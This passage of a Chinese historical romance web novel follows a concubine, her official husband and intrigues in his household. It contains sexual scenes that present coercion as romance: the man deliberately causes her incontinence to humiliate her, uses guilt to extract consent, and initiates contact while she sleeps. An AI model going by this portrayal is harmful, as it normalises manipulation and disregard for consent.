“姨娘所言毫无根据,总要拿出证据才好令人信服,下人瞧见二少爷从我院中出来,但谁又能佐证,他所言属实?就算下人说的是真的,二少爷真的从我院中出来,但姨娘又如何能笃定,我们二人之间一定有奸情?” “毕竟府中众人都知晓,自我入府后,二少爷对我冷眼相待,时常跑到我院中生事,你听旁人说,他才我院中出来,为何只想到我们之间有奸情,而未想到我的难处?” “言乃心之镜,姨娘下意识想到私通之事,难不成姨娘对此甚为了解,才会失之偏颇,以己度人。” 三姨娘面色本来还算冷静,在听到她的尾句时,三姨娘骤然抬眸,直直盯着徐可心。 徐可心眸色平静,未露出半点异色。 三姨娘根本无法通过徐可心的神色看出,她到底是知道自己和李三公子的事,有意拿话暗示她,还是不知道自己和李三公子的事,单纯瞎猫碰上死耗子,拿话挤兑她。 分不清徐可心在明在暗,三姨娘抱着怀中的男童的手不自觉微微用力。 她难以判断,未敢再说什么,跪在一旁的林昭明却忽然道,“父亲,我并未同徐姨娘做出有悖伦理之事。” 见他主动开口解释,徐可心方要松口气,却听他面色认真道,“可父亲,我的确心悦徐姨娘,想纳她为妾,儿子之前听闻,父亲意图将徐姨娘赐给长兄做妾,而长兄推辞婉拒,不如父亲将她赐予我,儿子愿意收下此人。” 一番话说完,在场几人都没了声音。 徐可心微微蹙眉,若非林昭明提起,她都快忘记了,她刚入府那会儿,大人曾意图将她赠予长公子。 思及此,顾不得林昭明跪在那里胡言乱语,她松开扶着男人肩膀的手,向一旁挪了半步,从他怀里退了出去。 男人半阖眉眼,明显也想起这桩事,搭在桌案上的手拿起文书,随意翻阅了数页,过了良久,才眼也不抬道,“徐姨娘如今是昭明的庶母,并非未婚妻,若再出言不逊,对庶母怀不轨之心,往后也不必再回府了。” “父亲,我是真心喜欢她!” “而她就是个虚荣至极的女人,也并不心悦你,她留在你身边做妾,处处讨好你,也无非是想在府中立足,不然她一个妙龄女子,为何要给一个能当她父亲的人做妾?” 林昭明挺直腰背,看着两人,逐字逐句道。 他素来言行无忌,因此时常受惩处,各色家法于他而言只是家常便饭,难以令他心生畏惧,所以任性妄为。 饶是心直口快如三姨娘,在听完他的话,都面露异色,好似未想过哪怕在大人面前,这人也依旧直言不讳。 徐可心本来还计较那日大人意图将她赐给林怀瑾一事,听到林昭明的话,她忙不迭转头,看向身侧人的面色,却见男人垂着眉眼,不知再想什么。 林昭明平日里出言苛责她也就罢了,见林昭明揣测她并非真心喜欢大人,还拿年纪说事,顿时心生不满。 徐可心微微蹙眉,看向跪在不远处的林昭明,冷声道,“你又不是我腹中的蛔虫,怎么就知道我不是真心的?你方才说你心悦我,可你那可怜的真心连狗都不如,只令我难堪作呕,避之不及。” “我少时的确同你有一段姻缘,可早就断了,你也勿要提及此事,如今我是大人的妾室,心悦大人,要跟随他一辈子,只要大人不舍弃我,我就要一直陪在大人身边。” “你勿要小人之心度君子之腹,也别仗着年轻气盛,口无遮拦。” 她一口气说完,忙不迭扶住身旁人的肩膀,又扯着他的手臂揽在自己腰上,主动投怀送抱,生怕大人因林昭明的话而同她生了嫌隙。 年纪罢了,永远有人十八,但没有人永远十八,谁都不会青春永驻,她喜欢大人,无非也只是因为大人也喜欢她,虽身处高位,但从未轻视苛责她。 除了偶尔在床上太过放荡以外,大人分明就是天底下最好的郎君。 她小心地看着男人,见他良久无话,好似介怀林昭明方才的话一般,不禁心生急切,也顾不得堂内还有旁人,她微微俯身,压着声音在男人耳边柔声道,“大人,勿要听他的混账话,大人仙姿玉貌,哪哪都好,是天底下最好的郎君……” 徐可心生怕他心生芥蒂,话语不停地说着好话,过了良久,男人忽得意味不明地轻笑一声,揽住她腰侧的手加重力气,看向不远处的两人,语气没有起伏道,“想必是还未娶妻的缘故,才会如此任性妄言,既然昭明已入朝为官,你与沈家的亲事也不必再择选良日,只定在秋末罢。” “父亲!我不想娶旁人了!我只想纳她为妾!还望父亲成全!”林昭明跪在地上,闻言下意识反驳道。 林远舟看了他一眼,未再多言,只让他早日同大夫人商讨婚事,随后令两人退下。 林昭明不想走,抬头看向徐可心,想从她的脸上看到一丝动容,可一无所获,这人站在那里,丝毫未在意他的婚事,反而眸色担忧地看着他父亲。 林昭明不明白这只老狐狸有什么值得令她担忧的,她徐可心自己还像只笨兔子一样时常被人欺负,竟然还有心思担忧他父亲。 这人要是能为今日之事伤神,怕是早就被气死八百回了。 林昭明气不过,大步离了书房。 三姨娘看了眼林昭明匆匆离去的背影,又看了眼不远处姿态亲近的二人,知道今日办不成事,未再多言。 若非徐可心未提到以己度人那句话,三姨娘其实还想再编撰几句,让他们两人生了嫌隙,但恐徐可心真得知道什么,忙不迭退了出去。 待林昭明和三姨娘走后,书房内只余下他们二人,徐可心也不再小声讲话了,直接上前一步,主动坐在男人怀里,环着他的脖颈软着声音道,“妾身真得喜欢大人,不要听那人胡言乱语。” 她枕在男人的颈侧,话语不停地小声倾诉。 男人眸色淡漠,顺势揽住她的腰,意味不明道,“为夫的确比可心年长,不及京中公子年轻俊美,令可心喜欢。” 见男人自己嘲弄自己,徐可心不自觉心一揪,眼底也不自觉浮现几分忧虑,“妾身都说了,只喜欢大人,大人勿要妄自菲薄。” “大人介怀此事,妾身的心也不好受。” 她紧紧蹙眉,坐起身,捧住男人的脸,凑上去吻他的唇角,“谁又不是神仙,也都不会一直青春年少,大人只知晓,妾身只喜欢你的人就够了,勿要再想旁的乱七八糟的。” 林远舟垂着眉眼,任由她吻着,待她退离后,才抚着她的腰侧,不轻不重摩挲,语气淡漠道,“若为夫说,的确介怀此事,可心又该如何?” “况且人心隔肚皮,可心说得好听,但为夫又如何知晓,可心的话就是真心的。” 四目对视,徐可心紧抿着唇,过了良久,才轻声道,“那妾身如何做,大人才相信妾身是真心的?” 好似一直在等她这句话,男人的眼尾霎时露出些许笑意,他身体靠后,双臂随意地搭在木椅的扶手两侧,漫不经心道,“可心自己坐上来,只让为夫尽兴后,为夫便相信可心待为夫是真心的。” 他眼底含笑,不见丝毫落寞之色。 “……” 徐可心疑心自己好似入了圈套,但害怕大人真得介怀此事,还是轻轻点头,认真叮嘱道,“只要尽兴了,就不得再介怀了。” 男人不紧不慢嗯了一声,指骨压着扶手,未同往日那般揽住她的腰,好似真得要她主动一般。 徐可心迟疑半晌,压下心头的怀疑,扶着男人的肩膀微微起身,跨坐在他腿上,抚上他的衣带。 男人眼神晦涩莫深地看着她,只坐在那里看着她,等待她自投罗网。 第79章 徐可心依附在男人怀里,扶着他的肩膀,小心地挪着身子。 自她入府后,习惯了男人的摆弄,早就忘记嬷嬷到底教过她们什么了。 眼下她自己主动,动作不免有些生疏,一直不得要领。 卡在门前,迟迟难以再进一步。 后背沁着薄薄的热汗,徐可心微微抬眸,看向面前的男人,却见对方垂着眉眼,无声看着她,在她看过来时,抚着她的侧脸,奖励似的吻了一下她的唇角,随即又退后,完全没有帮她的意思。 徐可心紧抿着唇,一直进不去,心中不免生出几分郁闷,对上男人好整以暇的 目光,只觉他在嘲笑自己,她深呼一口气,抬脚踩在男人膝盖上,借力转身,泄气地趴在桌案上。 身后传来很轻的笑声,男人攥着她的腿弯,不轻不重摩挲,“可心不是要让为夫尽兴,为何自己先泄了气?” 徐可心半边身子趴在桌案上,枕着手臂,头也不回道,“妾身好累啊,又不想动了。” 她垂着眉眼,小声嘟囔道,“况且妾身不得其法,大人只事不关己地坐在那里,也不想着帮帮妾身。” 她背对着男人,看不到男人的神情,只小声不停地抱怨。 林远舟坐在她身后,无声听了半晌。 他不开口,徐可心越说,胆子越大,直到男人忽得起身,一巴掌不轻不重落在她身后,她才霎时噤了声。 男人上前,隔着衣服按着她的侧腰,俯下身,在她耳边笑道,“依可心所言,倒是为夫之错了。” “想要佐证真心的人是可心,不得章法因此泄气的人还是可心,最后还要埋怨为夫的不是。” “这般不讲理,也不知是哪家的娘子?” 徐可心眼也不抬,埋首在手臂里,含糊道,“城东林府林大人家的娘子,我家大人说了,都是他的错,他家娘子没错。” 话音刚落,男人温声道,“娘子倒是格外了解你家大人,也对,娘子温柔可人,如何会做下错事,想必是林大人不解风情,惹得娘子不快。” 徐可心闻言,轻轻嗯了一声。 还未等她再说什么,整个人就被拦腰抱起。 只顷刻之间,她又回到男人怀里,徐可心眸子瞪大,盯着男人看。 林远舟托着她的身子,抬眸笑着看她,“为夫之错,还请娘子恕罪,让为夫将功补过。” “如何将功补过?”徐可心环着男人的脖颈,下意识道。 “自然是将娘子吃干抹净,让我家娘子登上极乐。” 林远舟眼底含笑,直直看着她,分明眸色温和,但徐可心莫名心跳一滞,不自觉想起那夜的情药。 徐可心沉默片刻,复又转过身,想要离他远些再同他讲话,可男人顺势环住她的腰,俯身枕着她的肩膀,在她耳边笑道,“娘子背对着为夫,难以看到可心的神情,倒是失了几分兴味。” “不过既然娘子喜欢,为夫也没有不从的道理。” 有力的双臂横在她身前,紧紧束缚住她的身子,让她难以挣脱。 她不喜欢的……她真得不喜欢的…… 她被男人抱在怀里,难以看到男人的神情,心上格外不安,徐可心握着男人的手臂,想要从他怀里离开。 可她方有挣扎的动作,男人就不紧不慢抚上她的肚子,长指隔着衣裳压在上面,缓慢按揉,惹得她浑身瑟缩不停。 她方生了孩子,留下许多还未彻底痊愈的小毛病,时常会失禁。 她仍记得,那夜她服用酒水后,口水直流不说,还犯了毛病,身子不受控制,弄脏了被子,好似一个残疾的废人,难以维持体面,整个人难堪至极。 她本以为大人会嫌恶她,但男人只垂眼看着她,在她面色羞耻到恨不得找个地缝钻进去时,男人不仅未露出半分恶心之色,反而轻笑一声,贴着她耳侧,用那很好听的声音,在她耳边不紧不慢地调笑一句: “书里常说,女人是水做的,过去不得甚解,同可心在一起后,才发觉书中所言非虚。” 她本来就因失禁羞耻至极,听完男人的话,只觉头晕乎乎的,几乎快要昏倒。 好似无论她露出何种丑陋姿态,于男人而言,都分外可怜可爱,哪怕连她自己都无法接受的难堪模样,在对方眼里,依旧格外可人。 她失禁后,自己难以面对,还是男人抱着她,为她清洗的身子,抱着她哄着她,说会命人寻来药物,调养她的身子。 眼下男人分明知晓她的身子还未彻底痊愈,却抚上她的肚子按揉,惹得她肚子酸胀难耐。 徐可心强忍着身子的不适,下意识攥紧男人的手腕,颤着声音道,“大人勿要再揉了!” 男人枕着她的颈侧,垂眼看着她的肚子,闻言不仅未收力,反而微微加重手上的力气,缓声道,“可心如今身子还未彻底调养好,为夫恐伤了可心的身子,总应察看一二,才好知晓可否同可心欢好。” 徐可心闻言知道他存心戏弄自己,紧攥着袖子才未失态。 男人揉了半晌,一直等不到他想要的反应,语气好似遗憾一般道,“如今看来,可心想必身子已经彻底调养好了。” 话音刚落,男人的手微微挪开,好似要退离。 徐可心见状,倏地松口气,就在此时,男人的手忽得没有征兆地复又重重压在她的肚子上,徐可心眸色一怔,只一瞬间,她的衣裳就被浸透。 男人环住她的身子,吻上她的侧脸,贴着她耳侧温声提醒,“原来可心的身子还未彻底调养好,倒是为夫失策了。” 他话语温和,透着几分歉意,可言语调笑,没有半分悔过之意。 徐可心坐在湿热的衣服上,大脑一片空白,怔愣良久也难以相信眼下之事。 徐可心紧抿着唇,难言的羞耻霎时蔓延在心头,身子忍不住微微颤抖。 过了良久,她终于忍不住心上的委屈,不管不顾哭了起来。 她看错人了,这人太坏了,她收回方才的话,这人哪里是天底下最好的郎君,分明就是天底下最无礼之人。 徐可心一开始只小声哽咽,后来越想越难堪,哭得愈发可怜。 林远舟看着她可怜巴巴的模样,不仅未心生怜惜,反而抬手,用干燥的指腹抚去她脸上的泪水,边轻轻擦拭,边轻声道,“娘子哭得如此伤心,你家大人瞧见后想必也会心疼娘子。” 徐可心本来心上就不好受,听到耳边的话,哭得更伤心了。 男人抱着她,轻声哄慰不停,知道的是他有意捉弄人,故意把人弄哭,不知道还以为他多么温柔体贴。 徐可心负气,本来不想理他,但抵不住林远舟哄着她,说会为她每日命人上药,还说会寻得良医,早日调养好她的身子。 她哽着嗓音,小声道,“等下还要为妾身清洗身子。” 眼下她隐疾复发,整个人又气又急,早就满身热汗,浑身黏腻不堪,令人格外不适。 徐可心忽然后悔了,她方才就应该主动些,不应半途而废,否则她也不会窘迫至此,青天白日在书房里被这人戏弄,就不应相信这人会真得放过她。 被男人抱到汤池里清洗时,她埋首在男人怀里,见男人垂眸专心擦拭她的身子,徐可心忍不住微微张唇,毫不犹豫咬在男人的胸膛上。 男人身子一顿,抬眸看了过来,对上她愤恨的目光,林远舟轻笑一声,不仅未推开她,反而按住她的脖颈,低头吻上她的眉心,任由她咬着,继续为她清洗身子。 徐可心半阖眉眼,默默告诫自己不要心软,不要因一个吻就动容,直到口中尝到腥甜的血味时,她才松开口。 只见男人的冷白的胸膛上浮着一个青红牙印,齿痕处微微渗血,格外清晰。 彻底解了气,徐可心枕着男人的肩膀,寻了个舒服的姿势靠在他怀里,任由对方为她擦拭身子,而她微微阖上眼皮,心生困意。 就在她快要入睡时,男人才忽然道,“怀瑾素来关照可心,昭明更是心悦可心,两人青春年少,只有为夫容颜不复,想必再过几年便彻底老去,而可心依旧姿容姣美。” 男人不紧不慢陈述,声音格外平和,不似之前那般带着调笑的意味,徐可心缓缓抬眸,环住他的脖颈,闻言不自觉 埋怨道,“大人为何又提及此事,妾身说过了,只喜欢大人,无关大人的容貌。” “大人不必忧虑此事,若大人不相信妾身的话,待大人死后,妾身给大人陪葬就是了,况且妾身也会老去,待妾身容颜不复,大人也不准嫌弃妾身。” 徐可心忍着困意,断断续续讲着,说到最后,她紧紧环着男人的脖颈,抱着林远舟的头,在他的脸上吻来吻去,亲得他满脸口水。 “大人最好了,最喜欢大人了……”她抱着男人头,讲到最后,不知不觉睡了过去。 汤池内水气氤氲,安静无声,过了半晌,林远舟看着怀中女人安睡的容颜,轻叹一声。 今日昭明提起他意图将可心送给怀瑾一事,林远舟才想起来,一开始他曾想过将可心送离府中。 如今抱着怀中人,听着女人哄慰的话语,他忽然明白,为何昭明少时一直追在她身后,他那时未曾见过她这般痴情的,待她入府寻昭明时,总是忍不住分神看她一眼。 如今这人真真切切成了他的枕边人,林远舟忽得感到一丝悔意,他就应该早在第一次见到这人时,就将她抢到自己身边,受尽宠爱,被他重新养一遍,而不是让她成日里追在一个毛头小子身后,受尽苛责。 林远舟半阖眉眼,抚着女人的侧脸,低头吻了上去,徐可心刚入睡,不自在地哼唧两声,下意识伸手推他,却反被他攥住手腕,不得不承受男人的吻。 徐可心是被热醒的。 醒来时,她怔愣地看着床顶,还未彻底清醒,忽得脚腕传来刺痛,她抬眼看去,却见男人跪坐在她身前,修长的长指攥着她的脚腕。 对上男人复又冷淡的目光,徐可心垂眸,看着自己不着一物的身子,霎时发觉不对,不满地看向对方。 这人方把她气哭,不哄她也就罢了,竟然又趁她入睡欺负她。 思及此,徐可心忍不住嗔怪地看了男人一眼,男人见状,眉眼上挑,不仅未松手,反而微微低头,吻上她的腿肚。 冰冷的唇缓缓贴了上去,徐可心眸子微怔,耳朵霎时涨红。 这人太无耻了…… 第80章 徐可心气不过,抬脚踩在男人的胸膛上,抗拒男人的亲近。 林远舟看了她一眼,攥着她的脚腕,挪到自己的心口上,格外不走心地顺着她的力道跌倒在床。 “可以意图谋害亲夫?”他说。 徐可心不满起身,不讲理地坐在男人的胸膛上,捧着他脸埋怨道,“大人欺负人。” 她整个人坐在男人的胸膛上,态度格外强硬,男人不紧不慢抬手,抚上她的膝盖,抬眸看她,“若说欺负,眼下处于弱势之人好似是为夫。” 骨节分明的手覆在透粉的膝盖上,指尖游动,隐隐有向上抚去的意思,徐可心微微蹙眉,抬膝压在男人的手腕上,忍不住斥责道,“大人太轻浮了。” 林远舟被她桎梏在床上,闻言轻笑一声。 “为夫心悦可心,见到可心便心生欢喜,情不自禁想要亲近,喜欢可心也是为夫之错?”男人眸色平静,抬眸看着她,不紧不慢反问。 未想过他会忽然说出这番话,徐可心面色微红,心也跳得格外快。 “只是更喜欢大人冷脸的模样。” 话刚出口,徐可心就忽然意识到自己眼下如何不讲理,她小心抬眸,看向男人,却见对方半阖眉眼,良久无言。 徐可心疑觉自己好似中邪了,之前一直想要大人喜欢她,待大人真得喜欢她,她又觉这人太过轻浮。 她紧抿着唇,心弦绷紧,正想着认错时,却见男人抬眼看着她,偏过头看向一旁,轻轻叹了口气,“是为夫不懂可心了。” “应是年纪渐长的缘故,愈发难以猜透可心的心思。” 徐可心听不得他提及年纪,心上的慌乱霎时被无措取代,顾不得同他置气,忙不迭坐到一旁,俯身靠在他怀里讲着好话。 她疑觉自己太过无理取闹,才令大人复又想起此事,不自觉心生愧疚,之后无论男人说什么,她都毫不犹豫答应,只要她稍稍迟疑,林远舟就会提及年纪渐长一事。 徐可心闻言,忙不迭妥协,答应男人的无礼要求。 怀着愧疚被折腾一整夜后,徐可心只觉浑身酸疼,饶是困得意识不清醒,仍环着男人的脖颈,轻声安慰他。 林远舟听着耳边断断续续的呓语,眼底没什么情绪,不见半分落寞之色。 只要徐可心此时看男人一眼,就能发觉男人方才话里的欺骗,可她实在被折腾得没什么力气,没过多久就没了声音,枕着男人的肩膀沉沉睡去。 关心则乱,关心则乱…… 她对旁人的话不甚在意,不理会旁人的嘲弄和鄙夷,但格外在意亲近之人的话。一颗心完全落在枕边人身上,喜怒哀乐全都和他有关,若他介怀某事,徐可心也随之格外忧虑。 林远舟揽着怀中人的腰,听着耳边绵长轻缓的呼吸,垂着眉眼,终于明白在乎是何种滋味。 只是一句没来由的叹息,就足以令其为他担忧伤神,时时刻刻惦念着他。 初见可心时,她似无措的幼兽,成日里担惊受怕,好似一件微不足道的小事就可以彻底压垮她,再遇可心时,她似寄生的藤蔓,只有依附在旁人身上,才可生长,等真真正正得了她的陪伴后,才终于意识到,离不开可心的人好似是他。 林远舟半阖眼皮,平生第一次感觉,他的前半生过得太平淡了,可以称得上寡淡无味。 独自一人向上走着,身旁格外冷清,无一人相伴。 之前只想把人留在身边养着,只顺着心意给了钱财衣物,让其衣食无忧,未曾想过旁的。 如今放心上了,又不自觉想要给她更多,时常会想,只让她在府中做妾,是不是太过亏待她。 正妻之位已有人,只能给她旁的,便将她写入族谱,让她做林家的千金小姐,再不因官妓的身份受人轻视。 等真正将人写入了族谱,以为这人彻底离不开他时,却又发觉,旁人也发觉这人的好,想要将人从他身边夺走。 群狼环伺,虎视眈眈。 他自认位高权重,无论这人想要什么,都可以给她,可单单不能返老还童,恢复往日容颜,也终究有一日彻底老去,头发花白,皮囊褶皱,而那时可心依旧姿容妍丽。 知晓这人心性赤诚,又是个傻的,做的出为他陪葬一事,但若是如此,这人便少了十二载光阴,缺了一轮圆月。 望舒心甘情愿,他却见不得可心受苦。 往昔他不信鬼神之说,如今看着枕边人,却又希望鬼神存在,如此便可转世相见,无须计较光阴长短。 白日徐可心醒来时,男人同往日一般,已经离府上朝了,她休整良久,方要起床梳洗时,却见床头放着一封信。 以为大人临走前想要交代她什么,徐可心拿过信纸打开,却见上面只有两句话: “相逢情便深,恨不相逢早。” “二八佳人七九郎,婚姻何故不相当。” 徐可心垂眸,看到头一句诗时,唇上还不自觉挂着笑,等看到后一句,唇角的笑就耷拉下来。 她紧抿着唇,无声看了半晌后,命人拿来毛笔,直接将第二句重重涂黑,方要填一句诗,驳斥男人的心思,又觉太过委婉,落笔直接威胁道,“再提及年纪一事,妾身就不理大人了。” 她认真写完,又觉话语太重,复又将其涂黑,反反复复涂改几次,最后写道,“妾身只是大人的妾室,并未与大人成婚,本就尊卑有别,何谈相当与否。何况你我情意是否真切,只有你我二人知晓。世俗之见,只留给受困世俗之人。” 书房内。 男人坐在桌案前,看着信纸上的字,良久无言,不知再想何事。 钱管家站在一旁,等候良久后,小心开口道,“大人,夫人派人传话说,今日子时,前去西北侧的别院,有要事禀告大人。” 林远舟闻言,不紧不慢阖上信纸,安放进锦匣中,眼也不抬道,“若夫人已有谋划,只自行处置。” 管家不明白他话里的意思,但未多嘴,只跑去前院传话。 大夫人听后,却面色紧绷。 管家偷偷瞥了一眼她的神色,见她没有旁的吩咐,隐隐发觉不对,害怕听到什么不该听的,他轻声告辞后,连忙退了出去。 待管家走后,大夫人直接瘫坐在木椅上。 三姨娘产子后,知道这孩子不是林家的,她无心同三姨娘计较 ,本想放过三姨娘。 哪里想过,这人刚生了孩子,就硬了脊骨,跑去书房状告昭明同那女人苟合通奸。 知晓那人年底就要回京,她近日本就心上忐忑,无处发泄心中郁气,便想拿三姨娘开刀,提前将人处理了。 何况如今大人如此纵容那女人,令人忍不住心生厌烦,她本以为这人不知晓后宅之事,想拿三姨娘通奸一事惹他不快。 可对方话里的意思,分明知晓此事。 既然知晓,为何未惩处三姨娘,还放任她生下一子。 大夫人伏在桌案上的手紧攥着桌沿,难不成这人不仅喜欢那女人,对三姨娘也有情…… 看来看去,在林府后宅之中,好似真得只有她一人不得这人喜欢。 大夫人一开始只想给三姨娘设局,惹恼那人,提醒他勿要成日里只去徐可心那里,也分些心思看看旁人,不然旁人得了冷落,只会同三姨娘那般与人私通。 可知道大人对此事心知肚明有意不惩处三姨娘后,她又不自觉火上心头,只想将三姨娘彻底踩进泥里,让她再也爬不起来。 她早已分不清,眼下这般气恼,到底是气那人对后宅不管不问,还是气那人对旁人有意,只对自己冷漠以待。 颂兰苑。 “你说的可是真的?李郎传信说,晚些会来见我?” 三姨娘紧紧攥着小厮的袖子,眸中带着不加掩饰的喜色。 小厮站在一旁,闻言点点头,忽得想到什么,他又迟疑道,“姨娘,但……传信之人并非往日李府的下人,要不要让小人晚些前去探探虚实?” “眼下快用晚膳,待你回来后,想必李郎已经回府了。” 三姨娘瞥了他一眼,转身抱起一旁的男婴,笑着道,“晚些娘亲带你去见父亲,你父亲见到你,想必一定心生欢喜。” 小厮忍不住提醒,“姨娘,入夜奔波,若是小少爷哭闹该怎么办?” 三姨娘闻言,面上的笑意彻底褪去,不耐道,“无事,只拿纱布堵他的嘴就是了。” 见三姨娘面色难看,小厮犹豫良久,未敢再说什么,行礼退下。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 入夜。 徐可心抱着青姝轻声哄慰,小孩方才吃了奶后,困得睁不开眼睛,蜷缩在小床里睡得很香甜,偶尔无意识地哼唧两声,睡了半个时辰后,复又清醒,睁着浑圆的眼睛下意识寻她。 徐可心不知道旁人家的孩子幼时是何种模样,只觉青姝好似太过活泼,刚把她抱起来放在床上,一不留神就开始在床上滚来滚去,绕着她转圈。 徐可心轻轻捏了一下她的脚腕,又将小孩抱回怀中,在她眉心处落下一个吻。 房中安静无声,偶尔能听到屋外墙角处的蝉鸣,还有些许杂声。 钱管家晚膳后前来传话说,大人公务繁忙,兴许晚些回府,让她早早入寝。 她没有旁的事情要做,索性就守在房中等男人回府,没想到这一等就等到子时。 徐可心透过半敞开的目光看了眼院外,将青姝交到乳母手中,想着出门闲逛几步,说不定会早早碰到大人。 夏夜的月亮皎白澄澈,府内也不似冬夜那般漆黑,哪怕不打灯笼也能看清前方的路。 一旁的丫鬟本守在床边,见她要出去,连忙上前一步拦在她面前,“天色已深,姨娘要去何处?” 徐可心看向她,还未等开口,院外就忽得传来一阵仓促的脚步声以及女人的哭喊声。 她脚步一顿,仔细听着,待哭声越来越近,才发觉声音有些熟悉,好似是三姨娘。 不自觉想起那夜撞见的事情,她站立片刻,复又向里室走去。 犹豫良久,想着多一事不如少一事,还是决定在房中等着。 她不出去,没过多久钱管家却派人上门,说大人唤她去书房。 去的路上,徐可心问钱管家,大人为何要唤她过去,钱管家笑了笑,故弄玄虚道,“应是看戏罢。” 徐可心未明白他话里的意思,未再多问。 等到了书房时,就被下人带着向屏风后走去,她眸色困惑,不知晓男人到底要做什么,但还是安静坐在屏风后,捧着留在这里的话本自顾自看了片刻。 不知过了多久,女人的哭声复又在书房外响起,还掺杂男人的求饶声。 砰的一声,书房门被打开,一阵脚步声直接闯入房中。 徐可心翻书的动作一顿,迟疑半晌,微微探出半个身子,借着幕帘的遮掩,向外看了一眼,待看清房内景象,眸色微怔。 只见三姨娘和李三公子被人压在地上,三姨娘衣着无恙,只是头发些许凌乱,李三公子却格外狼狈,同那夜一般,光着身子单穿了一条裤子。 两人跪在地上哭得泣不成声,尤其是李三公子,双腿颤抖不停,面色也极为苍白,好似被吓傻了一般。 一整夜未见到身影的男人,此时坐在屏风前,手中拿着一封纸。 她眼下如何不明白,三姨娘和李三公子被人抓住了。 徐可心本想再窥探几眼,直到看见坐在一侧的大夫人,她忙不迭退后一步,坐回到木椅上。 她脚步匆忙,慌乱之间,碰掉了放在桌案上的话本,声音不算大,她方要捡起,却听屏风外大夫人问,“什么声音?” 徐可心闻言,身子骤然一僵。 虽是男人唤她过来,但不知为何,她心底莫名有些不安,只觉自己撞见不该瞧见的事,眼下知晓大夫人也在书房之中,她的心也不自觉加快,疑觉这人若是看到她躲在屏风后,一定会出言质问。 她僵着身子良久未动,正忐忑不安时,却听男人缓声道,“李三公子,可否说清今夜为何无故上门,又同府中妾室于院中私会?” 轻飘飘的一句话落地,大夫人不自觉看向他,见他未看自己,她垂着眉眼,复又顺着他的目光看向李三公子。 见众人的目光一齐落在她身上,李三公子忙不迭道,“大人,小人只是恰巧路过,谁成想被府中的下人瞧见当成毛贼拉进府中。” 恰巧路过,又怎么绕过守卫直接进了府院,还脱了衣服和府上的姨娘紧紧抱在一起,这过于无赖的话令在场众人都不自觉心生不耻,冷眼看着他。 李三公子也知道自己的话有多无赖,可若他再不出言狡辩为自己开脱,等下被人打死扔到城郊的乱葬岗怕是都无人知晓。 白日三姨娘传信给他,说林大人决定令他官复原职,让他晚些前来院中,再仔细告诉他一二。 知晓自己可以官复原职,李三公子顾不上多想,还未等到子时就跑到林府墙外,只待天一黑就偷偷翻墙溜了进来。 方一见到三姨娘,他就忙不迭问起此事,可三姨娘避而不答,还疑惑地看着他。 李三公子本以为这人同他置气故意不说,忙不迭脱了衣服,想着把人哄上床后,这人就愿意告诉他了。 哪里想过,方同她抱在一起,屋外就传来急促的脚步声,一众下人举着灯笼破门而入。 李三公子哪里见过这阵仗,霎时被吓得双腿酸软,险些晕倒在地。 之后就连同三姨娘一起,被人压至书房。 李三公子脸上的伤还未彻底痊愈,眼下顶着一只青红的眼睛,跪在地上不断为自己辩解,格外狼狈。 偷情被发现,三姨娘也没了往日的笑容,将脸深深埋在地上,完全不敢抬头。 一开始她只害怕得瑟缩身子,未敢开口辩解一句,直到听到李三公子说,是她不知廉耻勾引他时,三姨娘才骤然起身。 不似李夫人,碍于夫妻情意,当众受李三公子苛责时只能忍气吞声,不敢顶撞他。 眼下见李三公子毫不犹豫将她推出去,三姨娘不禁火上心头,哪里想过这人竟然这般无情无义。 李三公子不留情,她气急,知晓无论如何今夜都会受惩处,她索性破罐子破摔,直接骂道,“方才是谁一见到我就又搂又抱的,过去只知道你行事猥琐,如何想过你竟是个狼心狗肺的玩意。” “我呸!还自诩京中第一才子,我看你是京中第一王八蛋!” 李三公子本来趴在地上,听到三姨娘的话,他垂在身侧的手下意识紧攥成拳,想要打三姨娘。 可还未等伸手,忽得想起她眼下是旁人的妾室,而非他的女人。 思及此,李三公子复又紧咬牙,不得不压下心中怒火。 想着等今日之事过后,再寻个法子将人打一顿,卖到青楼里,命人将她折磨一番。 他不开口,三姨娘骂得越来越起劲,还不等旁人问,就把两人的事全都一口气说了 出来,公之于众。 眼下当场被人抓到,证据确凿,她也没了狡辩的机会,还不如骂个痛快。 她本以为,今夜两人一起被抓到,怎么说男人也应同她一样,受到惩处,谁成想没过多久后,房门被推开,二姨娘推门走了进来,身旁还带着一个小丫鬟。 方进门,还未等旁人询问什么,她就好似早就知情一般,扑通一声跪在地上,“妾身有错,求大人饶恕。” 话音刚落,在场几人全都抬眼看了过去。 听到二姨娘的声音,徐可心心思微动,复又忍不住起身,透过纱布看向几人,却见二姨娘跪在地上,抚着眼角的泪,指着随行的丫鬟,哭着陈述道,“大人,此人是我房中的杂役,只因外出时见了三哥几面,就对三哥芳心暗许,茶不思饭不想,一心只想同三哥再见一面。” “妾身无意中看到这丫鬟私下写的书信后,才知晓这人的心思,妾身见她每日忧思过虑,便想着做一回中间人,令其与三哥相见,成全她的情意。” “两人之前一直有所往来,妾身也犯了大错,令他们二人在西北侧的院子私会,想着再过几日,就寻个机会将她送到李府,哪里想过,今夜三姨娘不知为何前去,又被众人撞见。” 二姨娘跪在地上,拿着帕子擦着眼角的泪水,好似格外无措一般。 她刚说完,一旁的丫鬟就扑通一声跪在地上,膝行到李三公子面前,环着他的身子哭道,“三公子,你为何将三姨娘错认成奴婢,公子究竟到底有没有将奴婢放在心上?” 李三公子跪在地上,只怔愣片刻,便直接环抱住丫鬟,哭着说,“是我太急切了,光想同你好,未仔细看清你的脸,都是我的错我的错。” 今夜月色皎白,并无阴暗之处。 两人抱在一起,哭得稀里哗啦的,好似一对有情有义的苦命鸳鸯,在场一众下人见状,面面相觑,一时还真分不清到底谁说的是真的,谁说的是假的。 徐可心站在屏风后,闻言面色复杂。 旁人不知道实情,那夜她却亲眼瞧见李三公子从墙上翻过去。 她看了眼跪在地上哭得格外可怜的二姨娘,又看了眼李三公子满是歉意的神情,只觉这兄妹二人都是做戏的高手。 三姨娘怔愣地看着跪在地上的女人,哪里想过,只一瞬间,二姨娘就将李三公子摘干净,好似她方才所言只是在胡言乱语。 三姨娘紧抿着唇,方要斥责她满口谎话,话到嘴边又骤然停了下来,她忽得转身,也用帕子擦脸,看向坐在主位看不出喜怒的男人,哭着解释道,“大人,妾身也只是深夜出门散心,路过那处院子时,听到异响,上前察看一二,哪里想过刚进门就被李三公子紧紧抱住。” 一番话说完,三姨娘就将自己摘了出去。 若无人再继续追究,这件事想必也就过去了。 